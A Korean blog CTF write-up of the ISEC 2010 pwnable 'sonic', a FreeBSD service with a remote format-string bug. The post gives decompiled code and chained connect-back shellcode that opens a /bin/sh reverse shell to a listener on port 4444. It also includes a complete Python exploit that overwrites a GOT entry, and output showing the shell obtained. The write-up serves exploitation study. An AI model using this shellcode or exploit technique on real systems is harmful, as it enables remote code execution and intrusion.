ISEC 2010 본선 CTF - sonic

2011. 10. 14. 01:03·CTF

Category : Pwnables

NULL

 

Summary : remote format string vulnerability , chaining shellcode


[pwn3r@localhost sonic]$ file sonic
sonic: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 8.1, stripped

 

[pwn3r@localhost sonic]$ nc 192.168.123.129 2080
Password : pwn3r
# Connection refused



void __fastcall main(int a1, int a2, char a3)
{
  char client_rejoin; // [sp+1Bh] [bp-101h]@28
  char v4; // [sp+1Ch] [bp-100h]@8
  char sock_addr; // [sp+2Ch] [bp-F0h]@3
  char v6; // [sp+2Dh] [bp-EFh]@3
  __int16 v7; // [sp+2Eh] [bp-EEh]@3
  int v8; // [sp+30h] [bp-ECh]@3
  socklen_t addr_len; // [sp+3Ch] [bp-E0h]@8
  char introduce; // [sp+40h] [bp-DCh]@26
  char v11; // [sp+53h] [bp-C9h]@26
  char client_team; // [sp+54h] [bp-C8h]@23
  char client_token; // [sp+72h] [bp-AAh]@10
  char client_nick; // [sp+90h] [bp-8Ch]@26
  char client_pw; // [sp+AEh] [bp-6Eh]@20
  char client_id; // [sp+CCh] [bp-50h]@17
  char client_name; // [sp+EAh] [bp-32h]@14
  int server_fd; // [sp+108h] [bp-14h]@1
  int client_fd; // [sp+10Ch] [bp-10h]@8
  int pid; // [sp+110h] [bp-Ch]@8
  int v21; // [sp+114h] [bp-8h]@14
  int v22; // [sp+118h] [bp-4h]@1
  v22 = a1;
  server_fd = socket(2, 1, 0);
  if ( server_fd == -1 )
    exit(1);
  memset(&sock_addr, 0, 16u);
  v6 = 2;
  v7 = sub_8049040(2080u);
  v8 = sub_8049070(0);
  if ( bind(server_fd, (const struct sockaddr *)&sock_addr, 16u) == -1 )
  {
    puts("portbind error");
    exit(1);
  }
  if ( listen(server_fd, 5) == -1 )
    exit(1);
  while ( 1 )
  {
    addr_len = 16;
    client_fd = accept(server_fd, (struct sockaddr *)&v4, &addr_len);
    pid = fork();
    if ( pid )
      break;
    close(client_fd);
  }
  close(server_fd);
  if ( client_fd != -1 )
  {
    send(client_fd, "Password : ", 12u, 0);
    recv(client_fd, &client_token, 30u, 0);
    if ( !strcmp(&client_token, "hellsonic") )
    {
      v21 = 0;
      send(client_fd, "Welcome to the S0N1C W0rld!", 0x1Cu, 0);
      send(client_fd, "name : ", 8u, 0);
      recv(client_fd, &client_name, 30u, 0);
      if ( strcmp(&client_name, "H3LLS0NiC") )
      {
        close(client_fd);
        exit(0);
      }
      send(client_fd, "id : ", 6u, 0);
      recv(client_fd, &client_id, 30u, 0);
      if ( strcmp(&client_id, "WOWH4CK3R") )
      {
        close(client_fd);
        exit(0);
      }
      send(client_fd, "pw : ", 6u, 0);
      recv(client_fd, &client_pw, 30u, 0);
      if ( strcmp(&client_pw, "PaSSW0rd") )
      {
        close(client_fd);
        exit(0);
      }
      send(client_fd, "team : ", 8u, 0);
      recv(client_fd, &client_team, 30u, 0);
      if ( strcmp(&client_team, "wowhacker") )
      {
        close(client_fd);
        exit(0);
      }
      send(client_fd, "introduce : ", 13u, 0);
      recv(client_fd, &introduce, 20u, 0);
      v11 = 0;
      send(client_fd, "nick : ", 8u, 0);
      recv(client_fd, &client_nick, 30u, 0);
      if ( strcmp(&client_nick, "N1CkN4M3") )
      {
        close(client_fd);
      }
      else
      {
        send(client_fd, "Thanks to join us! we are ", 0x1Bu, 0);
        printf(&introduce); // Vuln !!
        send(client_fd, "hellsoinc world's member!!", 0x12u, 0);
        send(client_fd, "rejoin?(y/n) ", 14u, 0);
        recv(client_fd, &client_rejoin, 1u, 0);
        if ( client_rejoin == 'y' )
        {
          send(client_fd, "name : ", 8u, 0);
          recv(client_fd, &client_name, 30u, 0);
          if ( strcmp(&client_name, "H3LLS0NiC") )
          {
            close(client_fd);
            exit(0);
          }
          send(client_fd, "id : ", 6u, 0);
          recv(client_fd, &client_id, 30u, 0);
          if ( strcmp(&client_id, "WOWH4CK3R") )
          {
            close(client_fd);
            exit(0);
          }
          send(client_fd, "pw : ", 6u, 0);
          recv(client_fd, &client_pw, 30u, 0);
          if ( strcmp(&client_pw, "PaSSW0rd") )
          {
            close(client_fd);
            exit(0);
          }
          send(client_fd, "team : ", 8u, 0);
          recv(client_fd, &client_team, 30u, 0);
          if ( strcmp(&client_team, "wowhacker") )
          {
            close(client_fd);
            exit(0);
          }
          send(client_fd, "introduce : ", 13u, 0);
          recv(client_fd, &introduce, 20u, 0);
          v11 = 0;
          send(client_fd, "nick : ", 8u, 0);
          recv(client_fd, &client_nick, 30u, 0);
          if ( strcmp(&client_nick, "N1CkN4M3") )
          {
            close(client_fd);
          }
          else
          {
            send(client_fd, "Thanks to join us! we are ", 27u, 0);
            printf(&introduce); // Vuln !!
            send(client_fd, "hellsoinc world's member!!", 18u, 0);
          }
        }
      }
      close(client_fd);
      exit(0);
    }
    close(client_fd);
    exit(0);
  }
  exit(1);
}


client로부터 데이터를 전송받고 , 전송받은 데이터가 특정 문자열과 같은지 검사하여 같으면 다른문자열을 전송받고 특정 문자열과 비교하는 과정을 반복한다.
그리고 introduce배열에 데이터를 수신하면 포맷스트링없이 배열을 그대로 출력하기때문에 format string vulnerability가 발생한다.


close@got
를 쉘코드의 주소로 덮어주면 되지만 , introduce배열에 데이터를 최대 20byte까지만 수신하기때문에 format string vulnerability로 한번에 4byte의 데이터를 덮어주긴힘들다. 
그런데 "rejoin?(y/n)"이란문자열을 수신했을때 "y"를 전송해주면 위에서 설명했던과정을 한번더 수행하기때문에 2byte씩 덮어줌으로써 문제점을 해결할수 있다.

그런데 또다른문제점은 , 쉘코드를 넣어줄 크기의 지역변수가 없다는점이다. 30byte의 배열이 여러개 있긴하지만 , 배열의 앞부분에 넣어줘야하는 문자열이 있기때문에 실제로 쓸수 있는 공간은 모두 분리되어있다.
이는 쉘코드를 여러개로 나누어서 jmp코드로 연결해줌으로써 해결할 수 있다.


  0x8049680 <buf>: push  $0x837ba8c0
  0x8049685 <buf+5>: push  $0x5c1102ff
  0x804968a <buf+10>: mov    %esp,%edi
  0x804968c <buf+12>: xor    %eax,%eax
  0x804968e <buf+14>: push  %eax
  0x804968f <buf+15>: push  $0x1
-> (gdb) x/17bx 0x8049680
0x8049680 <buf>: 0x68 0xc0 0xa8 0x7b 0x83 0x68 0xff 0x02
0x8049688 <buf+8>: 0x11 0x5c 0x89 0xe7 0x31 0xc0 0x50 0x6a
0x8049690 <buf+16>: 0x01
=========> "\x68\xc0\xa8\x7b\x83\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50\x6a\x01" (17byte)
-----------------------------------------------------------------------------
  0x8049691 <buf+17>: push  $0x2
  0x8049693 <buf+19>: push  $0x10
  0x8049695 <buf+21>: mov    $0x61,%al
  0x8049697 <buf+23>: int    $0x80
  0x8049699 <buf+25>: push  %edi
  0x804969a <buf+26>: push  %eax
  0x804969b <buf+27>: push  %eax
  0x804969c <buf+28>: push  $0x62
  0x804969e <buf+30>: pop    %eax
  0x804969f <buf+31>: int    $0x80
  0x80496a1 <buf+33>: push  %eax
->(gdb) x/17bx 0x8049691
0x8049691 <buf+17>: 0x6a 0x02 0x6a 0x10 0xb0 0x61 0xcd 0x80
0x8049699 <buf+25>: 0x57 0x50 0x50 0x6a 0x62 0x58 0xcd 0x80
0x80496a1 <buf+33>: 0x50
====================> "\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62\x58\xcd\x80\x50" (17byte)
-----------------------------------------------------------------------------
  0x80496a2 <buf+34>: push  $0x5a
  0x80496a4 <buf+36>: pop    %eax
  0x80496a5 <buf+37>: int    $0x80
  0x80496a7 <buf+39>: decl  -0x18(%edi)
  0x80496aa <buf+42>: jns    0x80496a2 <buf+34>
  0x80496ac <buf+44>: push  $0x68732f2f


-> (gdb) x/15bx 0x80496a2
0x80496a2 <buf+34>: 0x6a 0x5a 0x58 0xcd 0x80 0xff 0x4f 0xe8
0x80496aa <buf+42>: 0x79 0xf6 0x68 0x2f 0x2f 0x73 0x68
============> "\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68\x2f\x2f\x73\x68" (15byte)
----------------------------------------------------------------------------- 
  0x80496b1 <buf+49>: push  $0x6e69622f
  0x80496b6 <buf+54>: mov    %esp,%ebx
  0x80496b8 <buf+56>: push  %eax
  0x80496b9 <buf+57>: push  %esp
  0x80496ba <buf+58>: push  %ebx
  0x80496bb <buf+59>: push  %eax
  0x80496bc <buf+60>: mov    $0x3b,%al
  0x80496be <buf+62>: int    $0x80


-> (gdb) x/15bx 0x80495f1
0x80495f1 <buf+49>: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50
0x80495f9 <buf+57>: 0x54 0x53 0x50 0xb0 0x3b 0xcd 0x80
===========> "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80" (15byte)

-----------------------------------------------------------------------------


"wowhacker\x00"+ "aa" + (got_addr) + (got_addr+2)
"hellsonic\x00"+ "\x68\xc0\xa8\x7b\x83\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50\x6a\x01"+"\xeb\x0a\x90"
"N1CkN4M3\x00" + "\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62\x58\xcd\x80\x50" + "\xeb\x0b\x90\x90"
"PaSSW0rd\x00" + "\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68\x2f\x2f\x73\x68" + "\xeb\x0e\x90\x90\x90\x90"
"W0WH4CK3R\x00" + "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80" + "\x90\x90\x90\x90\x90"

 

 

 

jmp코드를 이용해 떨어져있는 쉘코드들을 연결했다.

 

exploit.py
#!/usr/bin/python
from socket import *
import pwn3rlib # pwn3rlib.py에 fsb payload를 생성해주는 함수가 정의되어있다.
import time


HOST = "192.168.123.129"
PORT = 2080
PROFILE = {"team":"wowhacker\x00aa" , \
"token":"hellsonic\x00"+"\x68\xc0\xa8\x7b\x83\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50\x6a\x01"+"\xeb\x0a\x90", \
"nick":"N1CkN4M3\x00" + "\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62\x58\xcd\x80\x50" + "\xeb\x0b\x90\x90" , \
"pw":"PaSSW0rd\x00" + "\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68\x2f\x2f\x73\x68" + "\xeb\x0e\x90\x90\x90\x90" , \
"id":"WOWH4CK3R\x00" + "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80" + "\x90\x90\x90\x90\x90" , \
"name":"H3LLS0NiC\x00"}
close_got = 0x804a35c
OFFSET = 24
fsb = pwn3rlib.fsb()
for ret in range(0xbfbfec00 , 0xbfbeffff , -2):
 payload = []
 tmp = fsb.getpayload(OFFSET , [hex(close_got)] , [hex(ret%0x10000)])
 PROFILE['team'] = "wowhacker\x00aa"
 PROFILE['team'] += tmp[:tmp.index("%")]
 payload.append(tmp[tmp.index("%"):])
 tmp = fsb.getpayload(OFFSET + 1 , [hex(close_got+2)] , [hex(ret/0x10000)])
 PROFILE['team'] += tmp[:tmp.index("%")]
 payload.append(tmp[tmp.index("%"):])
 s = socket(AF_INET , SOCK_STREAM)
 s.connect((HOST , PORT))
 s.recv(1024)
 s.send(PROFILE['token'])
 for i in range(0,2):
  s.recv(1024)
  s.send(PROFILE['name'])
  s.recv(1024)
  s.send(PROFILE['id'])
  s.recv(1024)
  s.send(PROFILE['pw'])
  s.recv(1024)
  s.send(PROFILE['team'])
  s.recv(1024)
  s.send(payload[i]+"\x00"*(20-len(payload[i])))
  s.recv(1024)
  s.send(PROFILE['nick'])
  s.recv(1024)
  if i==0:
   s.send("y")
  time.sleep(0.2)
 s.close()
 time.sleep(0.1)

 

[pwn3r@localhost sonic]$ ./exploit.py & nc -lv 4444
[3] 12210
Connection from 192.168.123.129 port 4444 [tcp/krb524] accepted
id
uid=1006(sonic) gid=1006(sonic) groups=1006(sonic)
ls -l
total 2612
-r--------  1 sonic  sonic       33 Sep 12 22:41 key
-rwxr-xr-x  1 sonic  sonic     6452 Sep 12 09:06 sonic


pwned :)

p.s. ISEC2010때 본선가셨던분께 얻은 문제바이너리를 풀어본것입니다 (제가 가서풀었던거 쓴게아닙니다 :)

저작자표시 (새창열림)

'CTF' 카테고리의 다른 글

Secuinside 2012 Quals - Dethstarr (Exploit only)  (0) 2012.10.07
2011 Holy-Shield Hacking Festival Report  (4) 2011.11.29
ISEC 2010 본선 CTF - skeleton  (0) 2011.10.13
HDCON 2011 본선 CTF - lucky  (4) 2011.10.13
2011 HUST Hacking Festival - M  (0) 2011.10.03
'CTF' 카테고리의 다른 글
  • Secuinside 2012 Quals - Dethstarr (Exploit only)
  • 2011 Holy-Shield Hacking Festival Report
  • ISEC 2010 본선 CTF - skeleton
  • HDCON 2011 본선 CTF - lucky
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    HUST2011
    csaw ctf
    csaw
    gnuboard
    후기
    pwnables
    POC
    web
    vuln
    정보보호올림피아드
    HUST
    power of community
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
ISEC 2010 본선 CTF - sonic
상단으로

티스토리툴바